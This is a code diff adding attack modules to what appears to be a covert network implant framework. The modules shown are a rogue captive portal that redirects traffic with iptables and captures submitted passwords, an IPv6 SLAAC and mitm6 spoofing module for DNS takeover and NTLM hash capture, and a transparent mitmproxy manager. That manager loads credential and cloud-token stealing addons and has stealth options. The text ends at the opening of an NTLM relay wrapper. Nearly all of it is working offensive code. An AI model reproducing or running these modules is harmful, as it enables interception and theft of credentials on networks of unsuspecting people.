|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# iptables for captive portal
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _setup_iptables(self) -> None:
|
||||||
|
"""Set up iptables to redirect HTTP traffic to the captive portal."""
|
||||||
|
rules = [
|
||||||
|
# Enable NAT
|
||||||
|
["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
|
||||||
|
"-j", "MASQUERADE"],
|
||||||
|
# Redirect HTTP to portal
|
||||||
|
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
||||||
|
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||||
|
"--to-port", str(self._portal_port)],
|
||||||
|
# Redirect HTTPS to portal (for captive portal detection)
|
||||||
|
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
|
||||||
|
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||||
|
"--to-port", str(self._portal_port)],
|
||||||
|
]
|
||||||
|
for rule in rules:
|
||||||
|
try:
|
||||||
|
subprocess.run(rule, capture_output=True, timeout=5)
|
||||||
|
except Exception:
|
||||||
|
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
|
||||||
|
|
||||||
|
# Enable IP forwarding
|
||||||
|
try:
|
||||||
|
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
|
||||||
|
f.write("1")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _teardown_iptables(self) -> None:
|
||||||
|
"""Remove captive portal iptables rules."""
|
||||||
|
rules = [
|
||||||
|
["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
|
||||||
|
"-j", "MASQUERADE"],
|
||||||
|
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
||||||
|
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||||
|
"--to-port", str(self._portal_port)],
|
||||||
|
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
|
||||||
|
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||||
|
"--to-port", str(self._portal_port)],
|
||||||
|
]
|
||||||
|
for rule in rules:
|
||||||
|
try:
|
||||||
|
subprocess.run(rule, capture_output=True, timeout=5)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Captive portal HTTP server
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _start_portal(self, template_name: str) -> None:
|
||||||
|
"""Start the captive portal HTTP server."""
|
||||||
|
portal_path = os.path.join(self._template_dir, template_name)
|
||||||
|
if os.path.isfile(portal_path):
|
||||||
|
with open(portal_path, "r") as f:
|
||||||
|
CaptivePortalHandler.portal_html = f.read()
|
||||||
|
else:
|
||||||
|
logger.warning("Portal template not found: %s — using default", portal_path)
|
||||||
|
CaptivePortalHandler.portal_html = (
|
||||||
|
"<html><body><h1>Welcome</h1>"
|
||||||
|
"<form method='POST'>"
|
||||||
|
"<input name='username' placeholder='Username'><br>"
|
||||||
|
"<input name='password' type='password' placeholder='Password'><br>"
|
||||||
|
"<button type='submit'>Sign In</button>"
|
||||||
|
"</form></body></html>"
|
||||||
|
)
|
||||||
|
|
||||||
|
CaptivePortalHandler.credential_callback = self._on_credential_captured
|
||||||
|
|
||||||
|
self._portal_server = socketserver.TCPServer(
|
||||||
|
("0.0.0.0", self._portal_port), CaptivePortalHandler
|
||||||
|
)
|
||||||
|
self._portal_server.allow_reuse_address = True
|
||||||
|
|
||||||
|
self._portal_thread = threading.Thread(
|
||||||
|
target=self._portal_server.serve_forever,
|
||||||
|
daemon=True,
|
||||||
|
name="bb-captive-portal",
|
||||||
|
)
|
||||||
|
self._portal_thread.start()
|
||||||
|
logger.info("Captive portal serving on port %d", self._portal_port)
|
||||||
|
|
||||||
|
def _stop_portal(self) -> None:
|
||||||
|
if self._portal_server:
|
||||||
|
self._portal_server.shutdown()
|
||||||
|
self._portal_server = None
|
||||||
|
|
||||||
|
def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
|
||||||
|
"""Handle credential submission from captive portal."""
|
||||||
|
with self._creds_lock:
|
||||||
|
self._captured_creds.append({
|
||||||
|
"timestamp": time.time(),
|
||||||
|
"client_ip": client_ip,
|
||||||
|
"post_data": post_data,
|
||||||
|
})
|
||||||
|
|
||||||
|
# Parse form data for username/password
|
||||||
|
from urllib.parse import parse_qs
|
||||||
|
params = parse_qs(post_data)
|
||||||
|
username = params.get("username", params.get("email", [""]))[0] if params else ""
|
||||||
|
password = params.get("password", params.get("pass", [""]))[0] if params else ""
|
||||||
|
|
||||||
|
self.bus.emit(
|
||||||
|
"CREDENTIAL_FOUND",
|
||||||
|
{
|
||||||
|
"source_module": self.name,
|
||||||
|
"source_ip": client_ip,
|
||||||
|
"target_service": f"captive_portal:{self._ssid}",
|
||||||
|
"username": username,
|
||||||
|
"credential_type": "cleartext",
|
||||||
|
"credential_value": password,
|
||||||
|
"raw_data": post_data,
|
||||||
|
},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
|
logger.info("Captive portal credential captured from %s", client_ip)
|
||||||
@@ -0,0 +1,258 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.
|
||||||
|
|
||||||
|
Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
|
||||||
|
Combines two approaches:
|
||||||
|
1. bettercap dhcp6.spoof: Router Advertisement injection
|
||||||
|
2. mitm6: Targeted WPAD/DNS takeover via IPv6
|
||||||
|
|
||||||
|
This is significantly stealthier than ARP spoofing — most networks
|
||||||
|
have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.active.ipv6_slaac")
|
||||||
|
|
||||||
|
|
||||||
|
class IPv6SLAAC(BaseModule):
|
||||||
|
"""IPv6 SLAAC spoofing via bettercap + mitm6.
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- bettercap_mgr must be running (for dhcp6.spoof)
|
||||||
|
- mitm6 must be installed (pip install mitm6)
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
target_domain: Domain to target with mitm6 WPAD abuse
|
||||||
|
mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
|
||||||
|
interface: Network interface (default: eth0)
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "ipv6_slaac"
|
||||||
|
module_type = "active"
|
||||||
|
priority = 200
|
||||||
|
requires_root = True
|
||||||
|
dependencies = ["bettercap_mgr"]
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._bettercap_mgr = None
|
||||||
|
self._mitm6_proc: Optional[subprocess.Popen] = None
|
||||||
|
self._mitm6_thread: Optional[threading.Thread] = None
|
||||||
|
self._slaac_active = False
|
||||||
|
self._mitm6_active = False
|
||||||
|
self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
|
||||||
|
self._iface = config.get("interface", "eth0")
|
||||||
|
self._target_domain: Optional[str] = None
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self._bettercap_mgr = self.config.get("bettercap_mgr")
|
||||||
|
if not self._bettercap_mgr:
|
||||||
|
logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
|
||||||
|
return
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||||
|
logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self.stop_all()
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("IPv6SLAAC module stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
mitm6_alive = (
|
||||||
|
self._mitm6_proc is not None and self._mitm6_proc.poll() is None
|
||||||
|
)
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"slaac_active": self._slaac_active,
|
||||||
|
"mitm6_active": self._mitm6_active and mitm6_alive,
|
||||||
|
"target_domain": self._target_domain,
|
||||||
|
"interface": self._iface,
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
if "interface" in config:
|
||||||
|
self._iface = config["interface"]
|
||||||
|
if "mitm6_binary" in config:
|
||||||
|
self._mitm6_binary = config["mitm6_binary"]
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start_slaac(self) -> bool:
|
||||||
|
"""Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.
|
||||||
|
|
||||||
|
Injects Router Advertisements to become the IPv6 DNS server
|
||||||
|
for all hosts on the segment.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if SLAAC spoofing was enabled.
|
||||||
|
"""
|
||||||
|
if not self._running or not self._bettercap_mgr:
|
||||||
|
logger.error("IPv6SLAAC not started")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._bettercap_mgr.run_command("dhcp6.spoof on")
|
||||||
|
self._slaac_active = True
|
||||||
|
self.state.set(self.name, "slaac_active", "true")
|
||||||
|
logger.info("IPv6 SLAAC spoofing enabled via bettercap")
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to enable SLAAC spoofing")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def start_mitm6(self, domain: str = None) -> bool:
|
||||||
|
"""Start mitm6 for WPAD abuse and DNS takeover via IPv6.
|
||||||
|
|
||||||
|
mitm6 sends RA messages advertising itself as the IPv6 DNS
|
||||||
|
server, then responds to WPAD requests to redirect proxy
|
||||||
|
configuration. Effective for NTLM hash capture when combined
|
||||||
|
with ntlmrelayx.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
domain: Target domain for WPAD abuse (e.g., "corp.local").
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if mitm6 was started.
|
||||||
|
"""
|
||||||
|
if not self._running:
|
||||||
|
logger.error("IPv6SLAAC not started")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
|
||||||
|
logger.warning("mitm6 already running")
|
||||||
|
return True
|
||||||
|
|
||||||
|
self._target_domain = domain or self.config.get("target_domain", "")
|
||||||
|
|
||||||
|
cmd = [self._mitm6_binary, "-i", self._iface]
|
||||||
|
if self._target_domain:
|
||||||
|
cmd.extend(["-d", self._target_domain])
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._mitm6_proc = subprocess.Popen(
|
||||||
|
cmd,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE,
|
||||||
|
)
|
||||||
|
time.sleep(2)
|
||||||
|
if self._mitm6_proc.poll() is not None:
|
||||||
|
stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
|
||||||
|
logger.error("mitm6 failed to start: %s", stderr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
self._mitm6_active = True
|
||||||
|
|
||||||
|
# Start output monitoring thread
|
||||||
|
self._mitm6_thread = threading.Thread(
|
||||||
|
target=self._monitor_mitm6, daemon=True, name="bb-mitm6-monitor"
|
||||||
|
)
|
||||||
|
self._mitm6_thread.start()
|
||||||
|
|
||||||
|
self.state.set(self.name, "mitm6_active", "true")
|
||||||
|
logger.info(
|
||||||
|
"mitm6 started (pid=%d, domain=%s)",
|
||||||
|
self._mitm6_proc.pid, self._target_domain or "all",
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
|
||||||
|
except FileNotFoundError:
|
||||||
|
logger.error("mitm6 not found at %s", self._mitm6_binary)
|
||||||
|
return False
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to start mitm6")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def stop_all(self) -> bool:
|
||||||
|
"""Stop all IPv6 SLAAC and mitm6 operations.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if all components were stopped.
|
||||||
|
"""
|
||||||
|
success = True
|
||||||
|
|
||||||
|
# Stop SLAAC spoofing
|
||||||
|
if self._slaac_active and self._bettercap_mgr:
|
||||||
|
try:
|
||||||
|
self._bettercap_mgr.run_command("dhcp6.spoof off")
|
||||||
|
self._slaac_active = False
|
||||||
|
self.state.set(self.name, "slaac_active", "false")
|
||||||
|
logger.info("SLAAC spoofing disabled")
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to disable SLAAC spoofing")
|
||||||
|
success = False
|
||||||
|
|
||||||
|
# Stop mitm6
|
||||||
|
if self._mitm6_proc and self._mitm6_proc.poll() is None:
|
||||||
|
try:
|
||||||
|
self._mitm6_proc.terminate()
|
||||||
|
self._mitm6_proc.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
self._mitm6_proc.kill()
|
||||||
|
try:
|
||||||
|
self._mitm6_proc.wait(timeout=2)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to stop mitm6")
|
||||||
|
success = False
|
||||||
|
self._mitm6_proc = None
|
||||||
|
|
||||||
|
self._mitm6_active = False
|
||||||
|
self.state.set(self.name, "mitm6_active", "false")
|
||||||
|
return success
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# mitm6 output monitoring
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _monitor_mitm6(self) -> None:
|
||||||
|
"""Monitor mitm6 stderr for authentication events."""
|
||||||
|
if not self._mitm6_proc:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
for line in iter(self._mitm6_proc.stderr.readline, b""):
|
||||||
|
if not self._running:
|
||||||
|
break
|
||||||
|
decoded = line.decode("utf-8", errors="replace").strip()
|
||||||
|
if not decoded:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# mitm6 logs DNS queries and WPAD requests
|
||||||
|
if "Sent spoofed" in decoded or "IPv6 address" in decoded:
|
||||||
|
logger.debug("mitm6: %s", decoded)
|
||||||
|
|
||||||
|
# Check for process exit
|
||||||
|
if self._mitm6_proc.poll() is not None:
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
@@ -0,0 +1,351 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""mitmproxy Manager — transparent HTTPS interception with addon scripts.
|
||||||
|
|
||||||
|
Runs mitmproxy in transparent mode with iptables redirect. Custom addon
|
||||||
|
scripts extract credentials from POST bodies, capture cloud tokens from
|
||||||
|
auth headers, and log file metadata from transfers.
|
||||||
|
|
||||||
|
OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%).
|
||||||
|
Check hardware tier before enabling.
|
||||||
|
|
||||||
|
Custom CA CN can be configured to match target PKI for stealth.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.active.mitmproxy_mgr")
|
||||||
|
|
||||||
|
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
|
||||||
|
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
|
||||||
|
|
||||||
|
|
||||||
|
class MitmproxyManager(BaseModule):
|
||||||
|
"""mitmproxy transparent proxy with credential and token extraction.
|
||||||
|
|
||||||
|
OPi Zero 3+ only — check tier before enabling. On lower-tier
|
||||||
|
hardware, use bettercap's built-in HTTP proxy instead.
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- mitmproxy installed (pip install mitmproxy)
|
||||||
|
- iptables for transparent redirect
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
proxy_port: Listening port (default: 8080)
|
||||||
|
addons_dir: Path to addon scripts
|
||||||
|
ca_cn: Custom CA Common Name to match target PKI
|
||||||
|
hardware_tier: Device tier for resource checks
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "mitmproxy_mgr"
|
||||||
|
module_type = "active"
|
||||||
|
priority = 200
|
||||||
|
requires_root = True
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._proc: Optional[subprocess.Popen] = None
|
||||||
|
self._monitor_thread: Optional[threading.Thread] = None
|
||||||
|
self._proxy_port = config.get("proxy_port", 8080)
|
||||||
|
self._proxy_active = False
|
||||||
|
self._iface = config.get("interface", "eth0")
|
||||||
|
self._ca_cn = config.get("ca_cn", "")
|
||||||
|
self._hardware_tier = config.get("hardware_tier", "rpi4")
|
||||||
|
self._addons_dir = config.get(
|
||||||
|
"addons_dir",
|
||||||
|
os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"),
|
||||||
|
)
|
||||||
|
self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump")
|
||||||
|
self._flow_log = config.get(
|
||||||
|
"flow_log",
|
||||||
|
os.path.join(os.path.expanduser("~"), ".bigbrother", "mitmproxy_flows"),
|
||||||
|
)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Tier check
|
||||||
|
if self._hardware_tier not in SUPPORTED_TIERS:
|
||||||
|
logger.error(
|
||||||
|
"mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better",
|
||||||
|
self._hardware_tier,
|
||||||
|
)
|
||||||
|
return
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
|
||||||
|
Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||||
|
logger.info("MitmproxyManager started (tier=%s, port=%d)",
|
||||||
|
self._hardware_tier, self._proxy_port)
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
if self._proxy_active:
|
||||||
|
self.stop_proxy()
|
||||||
|
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("MitmproxyManager stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
proc_alive = self._proc is not None and self._proc.poll() is None
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"proxy_active": self._proxy_active and proc_alive,
|
||||||
|
"proxy_pid": self._proc.pid if proc_alive else None,
|
||||||
|
"proxy_port": self._proxy_port,
|
||||||
|
"hardware_tier": self._hardware_tier,
|
||||||
|
"ca_cn": self._ca_cn,
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
if "proxy_port" in config:
|
||||||
|
self._proxy_port = config["proxy_port"]
|
||||||
|
if "ca_cn" in config:
|
||||||
|
self._ca_cn = config["ca_cn"]
|
||||||
|
if "hardware_tier" in config:
|
||||||
|
self._hardware_tier = config["hardware_tier"]
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start_proxy(self, port: int = None, addons: list = None) -> bool:
|
||||||
|
"""Start mitmproxy in transparent mode with addons.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
port: Override proxy port.
|
||||||
|
addons: List of addon script filenames to load from addons_dir.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if proxy was started.
|
||||||
|
"""
|
||||||
|
if not self._running:
|
||||||
|
logger.error("MitmproxyManager not started")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if self._proxy_active and self._proc and self._proc.poll() is None:
|
||||||
|
logger.warning("mitmproxy already running")
|
||||||
|
return True
|
||||||
|
|
||||||
|
if port:
|
||||||
|
self._proxy_port = port
|
||||||
|
|
||||||
|
# Build command
|
||||||
|
cmd = [
|
||||||
|
self._mitmdump_binary,
|
||||||
|
"--mode", "transparent",
|
||||||
|
"--listen-port", str(self._proxy_port),
|
||||||
|
"--set", "connection_strategy=lazy",
|
||||||
|
"--set", "stream_large_bodies=1m",
|
||||||
|
"-w", self._flow_log,
|
||||||
|
]
|
||||||
|
|
||||||
|
# Custom CA CN for stealth
|
||||||
|
if self._ca_cn:
|
||||||
|
cmd.extend(["--set", f"ssl_insecure=true"])
|
||||||
|
|
||||||
|
# Load addon scripts
|
||||||
|
addon_scripts = addons or self._get_default_addons()
|
||||||
|
for addon in addon_scripts:
|
||||||
|
addon_path = os.path.join(self._addons_dir, addon)
|
||||||
|
if os.path.isfile(addon_path):
|
||||||
|
cmd.extend(["-s", addon_path])
|
||||||
|
else:
|
||||||
|
logger.warning("Addon script not found: %s", addon_path)
|
||||||
|
|
||||||
|
# Setup iptables for transparent redirect
|
||||||
|
self._setup_iptables()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._proc = subprocess.Popen(
|
||||||
|
cmd,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE,
|
||||||
|
)
|
||||||
|
time.sleep(3)
|
||||||
|
if self._proc.poll() is not None:
|
||||||
|
stderr = self._proc.stderr.read().decode(errors="replace")
|
||||||
|
logger.error("mitmproxy failed to start: %s", stderr)
|
||||||
|
self._teardown_iptables()
|
||||||
|
return False
|
||||||
|
|
||||||
|
self._proxy_active = True
|
||||||
|
|
||||||
|
# Start output monitoring
|
||||||
|
self._monitor_thread = threading.Thread(
|
||||||
|
target=self._monitor_output, daemon=True, name="bb-mitmproxy-monitor"
|
||||||
|
)
|
||||||
|
self._monitor_thread.start()
|
||||||
|
|
||||||
|
logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port)
|
||||||
|
return True
|
||||||
|
|
||||||
|
except FileNotFoundError:
|
||||||
|
logger.error("mitmdump not found — install with: pip install mitmproxy")
|
||||||
|
self._teardown_iptables()
|
||||||
|
return False
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to start mitmproxy")
|
||||||
|
self._teardown_iptables()
|
||||||
|
return False
|
||||||
|
|
||||||
|
def stop_proxy(self) -> bool:
|
||||||
|
"""Stop mitmproxy and remove iptables rules.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if proxy was stopped.
|
||||||
|
"""
|
||||||
|
# Stop process
|
||||||
|
if self._proc and self._proc.poll() is None:
|
||||||
|
try:
|
||||||
|
self._proc.terminate()
|
||||||
|
self._proc.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
self._proc.kill()
|
||||||
|
try:
|
||||||
|
self._proc.wait(timeout=2)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to stop mitmproxy")
|
||||||
|
finally:
|
||||||
|
self._proc = None
|
||||||
|
|
||||||
|
# Remove iptables rules
|
||||||
|
self._teardown_iptables()
|
||||||
|
|
||||||
|
self._proxy_active = False
|
||||||
|
logger.info("mitmproxy stopped")
|
||||||
|
return True
|
||||||
|
|
||||||
|
def get_flows(self) -> str:
|
||||||
|
"""Return path to the mitmproxy flow log file.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
Path to the binary flow dump file.
|
||||||
|
"""
|
||||||
|
return self._flow_log
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# iptables for transparent mode
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _setup_iptables(self) -> None:
|
||||||
|
"""Configure iptables to redirect HTTP/HTTPS to mitmproxy."""
|
||||||
|
rules = [
|
||||||
|
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
|
||||||
|
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||||
|
"--to-port", str(self._proxy_port)],
|
||||||
|
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
|
||||||
|
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||||
|
"--to-port", str(self._proxy_port)],
|
||||||
|
]
|
||||||
|
for rule in rules:
|
||||||
|
try:
|
||||||
|
subprocess.run(rule, capture_output=True, timeout=5)
|
||||||
|
except Exception:
|
||||||
|
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
|
||||||
|
|
||||||
|
def _teardown_iptables(self) -> None:
|
||||||
|
"""Remove transparent proxy iptables rules."""
|
||||||
|
rules = [
|
||||||
|
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
|
||||||
|
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
|
||||||
|
"--to-port", str(self._proxy_port)],
|
||||||
|
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
|
||||||
|
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
|
||||||
|
"--to-port", str(self._proxy_port)],
|
||||||
|
]
|
||||||
|
for rule in rules:
|
||||||
|
try:
|
||||||
|
subprocess.run(rule, capture_output=True, timeout=5)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Addon management
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _get_default_addons(self) -> list:
|
||||||
|
"""Return list of default addon script filenames."""
|
||||||
|
defaults = [
|
||||||
|
"credential_extractor.py",
|
||||||
|
"cloud_token_capture.py",
|
||||||
|
"file_metadata_logger.py",
|
||||||
|
]
|
||||||
|
return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))]
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Output monitoring
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _monitor_output(self) -> None:
|
||||||
|
"""Monitor mitmproxy stderr for credential and token events."""
|
||||||
|
if not self._proc:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
for line in iter(self._proc.stderr.readline, b""):
|
||||||
|
if not self._running:
|
||||||
|
break
|
||||||
|
decoded = line.decode("utf-8", errors="replace").strip()
|
||||||
|
if not decoded:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Look for credential extraction events from addons
|
||||||
|
if "[credential]" in decoded.lower():
|
||||||
|
self._handle_credential_output(decoded)
|
||||||
|
elif "[cloud_token]" in decoded.lower():
|
||||||
|
self._handle_token_output(decoded)
|
||||||
|
|
||||||
|
if self._proc.poll() is not None:
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _handle_credential_output(self, line: str) -> None:
|
||||||
|
"""Parse credential event from addon output."""
|
||||||
|
self.bus.emit(
|
||||||
|
"CREDENTIAL_FOUND",
|
||||||
|
{
|
||||||
|
"source_module": self.name,
|
||||||
|
"target_service": "mitmproxy",
|
||||||
|
"credential_type": "cleartext",
|
||||||
|
"credential_value": line,
|
||||||
|
},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
|
|
||||||
|
def _handle_token_output(self, line: str) -> None:
|
||||||
|
"""Parse cloud token event from addon output."""
|
||||||
|
self.bus.emit(
|
||||||
|
"CLOUD_TOKEN_FOUND",
|
||||||
|
{
|
||||||
|
"source_module": self.name,
|
||||||
|
"target_service": "mitmproxy",
|
||||||
|
"token_data": line,
|
||||||
|
},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
@@ -0,0 +1,376 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""NTLM Relay module — ntlmrelayx subprocess wrapper.
|
||||||
|
|
||||||
|
Manages Impacket's ntlmrelayx for relaying captured NTLM authentication
|
||||||
|
to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL,
|
||||||
|
and ADCS endpoints. Coordinates with ResponderManager to exclude relay
|
||||||
|
targets from Responder's SMB authentication.
|
||||||
|
|
||||||
|
Resources: ~40MB RAM, ~5% CPU
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.active.ntlm_relay")
|
||||||
|
|
||||||
|
# Supported relay protocols
|
||||||
|
